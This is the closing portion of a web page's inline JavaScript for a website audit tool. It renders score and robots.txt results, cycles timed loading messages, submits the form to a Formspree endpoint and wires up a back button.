| document.getElementById('scoreUX').textContent = scores.dataRisk; | |
| document.getElementById('scoreUXNote').textContent = scores.dataRiskNote; | |
| document.getElementById('scoreTrust').textContent = scores.trustCompliance; | |
| document.getElementById('scoreTrustNote').textContent = scores.trustComplianceNote; | |
| document.getElementById('robotsUrl').textContent = `source: ${robots.robotsUrl}`; | |
| document.getElementById('robotsPreview').textContent = robots.preview; | |
| document.getElementById('robotsNote').textContent = robots.note; | |
| updateSummarySection(url); | |
| document.getElementById('actionList').innerHTML = scores.actions.map(item => ` | |
| <li class="flex items-start gap-4 p-4 rounded-xl bg-slate-50 dark:bg-slate-800/50 border border-slate-100 dark:border-slate-800"> | |
| <i data-lucide="check-circle-2" class="w-5 h-5 text-emerald-500 mt-0.5"></i> | |
| <span class="text-sm font-medium text-slate-600 dark:text-slate-300">${item}</span> | |
| </li> | |
| `).join(''); | |
| document.getElementById('impactList').innerHTML = scores.impactPoints.map(item => ` | |
| <li class="flex items-center gap-3 text-xs font-semibold text-rose-500"> | |
| <i data-lucide="alert-circle" class="w-4 h-4"></i> | |
| ${item} | |
| </li> | |
| `).join(''); | |
| lucide.createIcons(); | |
| landingView.classList.add('hidden'); | |
| loadingView.style.display = 'flex'; | |
| const messages = ['Initializing Audit...', 'Scanning Headers...', 'Mapping Directories...', 'Finalizing Report...']; | |
| let msgIdx = 0; | |
| const interval = setInterval(() => { loadingStatus.textContent = messages[++msgIdx % messages.length]; }, 1500); | |
| setTimeout(() => { | |
| clearInterval(interval); | |
| loadingView.style.display = 'none'; | |
| resultsView.classList.remove('hidden'); | |
| window.scrollTo({ top: 0, behavior: 'smooth' }); | |
| }, 5000); | |
| try { await fetch('https://formspree.io/f/mwvpddro', { method: 'POST', body: formData, headers: { Accept: 'application/json' } }); } catch (err) {} | |
| }); | |
| backToForm.addEventListener('click', () => { | |
| resultsView.classList.add('hidden'); | |
| landingView.classList.remove('hidden'); | |
| window.scrollTo({ top: 0, behavior: 'smooth' }); | |
| }); | |
| // Initialize logic | |
| setupIconEditor(); | |
| </script> | |
| </body> | |
| </html> |